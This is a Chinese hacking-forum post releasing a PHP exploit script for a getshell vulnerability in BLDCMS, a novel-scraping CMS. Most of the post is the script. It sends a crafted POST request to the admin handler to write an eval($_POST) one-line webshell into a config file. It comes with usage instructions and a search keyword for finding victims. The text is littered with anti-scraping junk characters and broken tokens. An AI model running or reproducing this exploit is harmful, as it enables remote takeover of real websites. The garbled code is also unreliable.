BLDCMS(白老大小说) Getshell 0day EXP

admin

之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞

1 T% r3 z  M; N/ H4 z# }
话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了

既然都有人发了 我就把我之前写好的EXP放出来吧

view source print?01.php;">
02.<!--?php
! C' Z  y5 [4 ~8 U3 z03.echo "-------------------------------------------------------------------
6 O# G" [  g* D% Z! M04.
05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
4 x4 W- r( {5 l' ?- H, j/ k0 f06.
& t: c/ Y7 W) }" O. A* k07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
2 x8 E: d9 `  d" H* E08.
' K% k3 D9 i2 `/ y+ ~09.QQ:981009941\r\n                                2013.3.21\r\n            
& e0 `9 D' U: ?1 q' i; E10.
% U  @' z6 L) V$ j0 C11.
+ Y& B+ s" ^  c$ e& [, v5 ?/ Z12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
13.
; W; T! w: j7 B, p0 A9 r( F14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
5 }9 k) t" W% H3 G0 E& M1 H15.
16.--------------------------------------------------------------------\r\n";
17.$url=$argv[1];
7 T: e) j+ L( @18.$dir=$argv[2];
7 _+ i( ?8 Q% [- m19.$pass=$argv[3];
2 L/ X. Q9 a  D9 l20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
21.if (emptyempty($pass)||emptyempty($url))
! @0 P1 y. x/ W5 h22.{exit("请输入参数");}
23.else
9 i% i( [& e& j3 _% T5 z24.{
2 k' }- m6 y/ G3 Q( t1 `8 z/ H25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
2 ?5 P- r  g& n5 d& a9 t26.
27.al;
28.$length = strlen($fuckdata);
29.function getshell($url,$pass)
30.{
2 W4 |, o# P8 \31.global $url,$dir,$pass,$eval,$length,$fuckdata;
32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
; Y- v! [  l2 U33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
. q. r  q' t4 T5 j  D4 X  K' j3 w! h34.$header .= "User-Agent: MSIE\r\n";
6 W( d2 U; U& N; V$ V) Q  w* K$ G# C35.$header .= "Host:".$url."\r\n";
36.$header .= "Content-Length: ".$length."\r\n";
. n. B8 [% }1 ?8 U! r0 q( x1 r37.$header .= "Connection: Close\r\n";
38.$header .="\r\n";
( |) O% B5 W$ \# z3 \1 |3 |39.$header .= $fuckdata."\r\n\r\n";
40.$fp = fsockopen($url, 80,$errno,$errstr,15);
# Z4 A/ V0 b" a; i7 u41.if (!$fp)
' h, F# M9 }& l8 V& K$ |42.{
43.exit ("利用失败:请检查指定目标是否能正常打开");
44.}
45.else{ if (!fputs($fp,$header))
46.{exit ("利用失败");}
47.else
48.{
49.$receive = '';
$ n  ~+ o1 M" p3 _9 l2 d50.while (!feof($fp)) {
51.$receive .= @fgets($fp, 1000);
+ Q3 q! E( |1 A0 t4 X% s0 x6 x52.}
1 A% n; h$ I0 z% m53.@fclose($fp);
; Q9 I/ p( a* U! E+ m  K$ A54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
55.
56.GPC是否=off)";
4 i+ f4 {; Y% M( |* i: ^& d57.}}
( Q4 ~' h$ `5 c6 l58.}
# c) m$ l  W/ P" Y- K# c) |59.}
60.getshell($url,$pass);
/ ]8 U1 {3 I! d1 u61.?-->



by 数据流
$ M0 S! v# {4 M